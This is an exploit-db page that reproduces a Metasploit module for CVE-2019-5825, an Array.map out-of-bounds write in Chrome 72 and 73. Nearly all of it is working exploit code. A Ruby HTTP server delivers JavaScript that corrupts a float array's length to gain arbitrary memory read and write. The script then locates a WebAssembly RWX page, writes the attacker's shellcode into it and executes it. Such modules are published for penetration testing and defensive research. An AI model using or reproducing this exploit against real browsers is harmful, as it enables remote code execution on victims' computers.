Google Chrome 72 and 73 – Array.map Out-of-Bounds Write (Metasploit)

  • 作者: Metasploit
    日期: 2020-03-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48183/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ManualRanking
    
    include Msf::Exploit::Remote::HttpServer
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Google Chrome 72 and 73 Array.map exploit',
    'Description'=> %q{
    This module exploits an issue in Chrome 73.0.3683.86 (64 bit).
    The exploit corrupts the length of a float in order to modify the backing store
    of a typed array. The typed array can then be used to read and write arbitrary
    memory. The exploit then uses WebAssembly in order to allocate a region of RWX
    memory, which is then replaced with the payload.
    The payload is executed within the sandboxed renderer process, so the browser
    must be run with the --no-sandbox option for the payload to work correctly.
    },
    'License'=> MSF_LICENSE,
    'Author' => [
    'dmxcsnsbh', # discovery
    'István Kurucsai', # exploit
    'timwr', # metasploit module
    ],
    'References' => [
    ['CVE', '2019-5825'],
    ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=941743'],
    ['URL', 'https://github.com/exodusintel/Chromium-941743'],
    ['URL', 'https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/'],
    ['URL', 'https://lordofpwn.kr/cve-2019-5825-v8-exploit/'],
    ],
    'Arch' => [ ARCH_X64 ],
    'Platform' => ['windows','osx'],
    'DefaultTarget'=> 0,
    'Targets'=> [ [ 'Automatic', { } ] ],
    'DisclosureDate' => 'Mar 7 2019'))
    register_advanced_options([
    OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
    ])
    end
    
    def on_request_uri(cli, request)
    
    if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
    print_status("[*] #{request.body}")
    send_response(cli, '')
    return
    end
    
    print_status("Sending #{request.uri} to #{request['User-Agent']}")
    escaped_payload = Rex::Text.to_unescape(payload.encoded)
    jscript = %Q^
    // HELPER FUNCTIONS
    let conversion_buffer = new ArrayBuffer(8);
    let float_view = new Float64Array(conversion_buffer);
    let int_view = new BigUint64Array(conversion_buffer);
    BigInt.prototype.hex = function() {
    return '0x' + this.toString(16);
    };
    BigInt.prototype.i2f = function() {
    int_view[0] = this;
    return float_view[0];
    }
    BigInt.prototype.smi2f = function() {
    int_view[0] = this << 32n;
    return float_view[0];
    }
    Number.prototype.f2i = function() {
    float_view[0] = this;
    return int_view[0];
    }
    Number.prototype.f2smi = function() {
    float_view[0] = this;
    return int_view[0] >> 32n;
    }
    Number.prototype.i2f = function() {
    return BigInt(this).i2f();
    }
    Number.prototype.smi2f = function() {
    return BigInt(this).smi2f();
    }
    
    // *******************
    // Exploit starts here
    // *******************
    // This call ensures that TurboFan won't inline array constructors.
    Array(2**30);
    
    // we are aiming for the following object layout
    // [output of Array.map][packed float array][typed array][Object]
    // First the length of the packed float array is corrupted via the original vulnerability,
    // then the float array can be used to modify the backing store of the typed array, thus achieving AARW.
    // The Object at the end is used to implement addrof
    
    // offset of the length field of the float array from the map output
    const float_array_len_offset = 23;
    // offset of the length field of the typed array
    const tarray_elements_len_offset = 24;
    // offset of the address pointer of the typed array
    const tarray_elements_addr_offset = tarray_elements_len_offset + 1;
    const obj_prop_b_offset = 33;
    
    // Set up a fast holey smi array, and generate optimized code.
    let a = [1, 2, ,,, 3];
    let cnt = 0;
    var tarray;
    var float_array;
    var obj;
    
    function mapping(a) {
    function cb(elem, idx) {
    if (idx == 0) {
    float_array = [0.1, 0.2];
    
    tarray = new BigUint64Array(2);
    tarray[0] = 0x41414141n;
    tarray[1] = 0x42424242n;
    obj = {'a': 0x31323334, 'b': 1};
    obj['b'] = obj;
    }
    
    if (idx > float_array_len_offset) {
    // minimize the corruption for stability
    throw "stop";
    }
    return idx;
    }
    return a.map(cb);
    }
    
    function get_rw() {
    for (let i = 0; i < 10 ** 5; i++) {
    mapping(a);
    }
    
    // Now lengthen the array, but ensure that it points to a non-dictionary
    // backing store.
    a.length = (32 * 1024 * 1024)-1;
    a.fill(1, float_array_len_offset, float_array_len_offset+1);
    a.fill(1, float_array_len_offset+2);
    
    a.push(2);
    a.length += 500;
    
    // Now, the non-inlined array constructor should produce an array with
    // dictionary elements: causing a crash.
    cnt = 1;
    try {
    mapping(a);
    } catch(e) {
    // relative RW from the float array from this point on
    let sane = sanity_check()
    print('sanity_check == ', sane);
    print('len+3: ' + float_array[tarray_elements_len_offset+3].f2i().toString(16));
    print('len+4: ' + float_array[tarray_elements_len_offset+4].f2i().toString(16));
    print('len+8: ' + float_array[tarray_elements_len_offset+8].f2i().toString(16));
    
    let original_elements_ptr = float_array[tarray_elements_len_offset+1].f2i() - 1n;
    print('original elements addr: ' + original_elements_ptr.toString(16));
    print('original elements value: ' + read8(original_elements_ptr).toString(16));
    print('addrof(Object): ' + addrof(Object).toString(16));
    }
    }
    
    function sanity_check() {
    success = true;
    success &= float_array[tarray_elements_len_offset+3].f2i() == 0x41414141;
    success &= float_array[tarray_elements_len_offset+4].f2i() == 0x42424242;
    success &= float_array[tarray_elements_len_offset+8].f2i() == 0x3132333400000000;
    return success;
    }
    
    function read8(addr) {
    let original = float_array[tarray_elements_len_offset+1];
    float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f();
    let result = tarray[0];
    float_array[tarray_elements_len_offset+1] = original;
    return result;
    }
    
    function write8(addr, val) {
    let original = float_array[tarray_elements_len_offset+1];
    float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f();
    tarray[0] = val;
    float_array[tarray_elements_len_offset+1] = original;
    }
    
    function addrof(o) {
    obj['b'] = o;
    return float_array[obj_prop_b_offset].f2i();
    }
    
    var wfunc = null;
    var shellcode = unescape("#{escaped_payload}");
    
    function get_wasm_func() {
    var importObject = {
    imports: { imported_func: arg => print(arg) }
    };
    bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];
    wasm_code = new Uint8Array(bc);
    wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);
    return wasm_mod.exports.exported_func;
    }
    
    function rce() {
    let wasm_func = get_wasm_func();
    wfunc = wasm_func;
    // traverse the JSFunction object chain to find the RWX WebAssembly code page
    let wasm_func_addr = addrof(wasm_func) - 1n;
    print('wasm: ' + wasm_func_addr);
    if (wasm_func_addr == 2) {
    print('Failed, retrying...');
    location.reload();
    return;
    }
    
    let sfi = read8(wasm_func_addr + 12n*2n) - 1n;
    print('sfi: ' + sfi.toString(16));
    let WasmExportedFunctionData = read8(sfi + 4n*2n) - 1n;
    print('WasmExportedFunctionData: ' + WasmExportedFunctionData.toString(16));
    
    let instance = read8(WasmExportedFunctionData + 8n*2n) - 1n;
    print('instance: ' + instance.toString(16));
    
    //let rwx_addr = read8(instance + 0x108n);
    let rwx_addr = read8(instance + 0xf8n) + 0n; // Chrome/73.0.3683.86
    //let rwx_addr = read8(instance + 0xe0n) + 18n; // Chrome/69.0.3497.100
    //let rwx_addr = read8(read8(instance - 0xc8n) + 0x53n); // Chrome/68.0.3440.84
    print('rwx: ' + rwx_addr.toString(16));
    
    // write the shellcode to the RWX page
    if (shellcode.length % 2 != 0) {
    shellcode += "\u9090";
    }
    
    for (let i = 0; i < shellcode.length; i += 2) {
    write8(rwx_addr + BigInt(i*2), BigInt(shellcode.charCodeAt(i) + shellcode.charCodeAt(i + 1) * 0x10000));
    }
    
    // invoke the shellcode
    wfunc();
    }
    
    
    function exploit() {
    print("Exploiting...");
    get_rw();
    rce();
    }
    
    exploit();
    ^
    
    if datastore['DEBUG_EXPLOIT']
    debugjs = %Q^
    print = function(arg) {
    var request = new XMLHttpRequest();
    request.open("POST", "/print", false);
    request.send("" + arg);
    };
    ^
    jscript = "#{debugjs}#{jscript}"
    else
    jscript.gsub!(/\/\/.*$/, '') # strip comments
    jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
    end
    
    html = %Q^
    <html>
    <head>
    <script>
    #{jscript}
    </script>
    </head>
    <body>
    </body>
    </html>
    ^
    send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})
    end
    
    end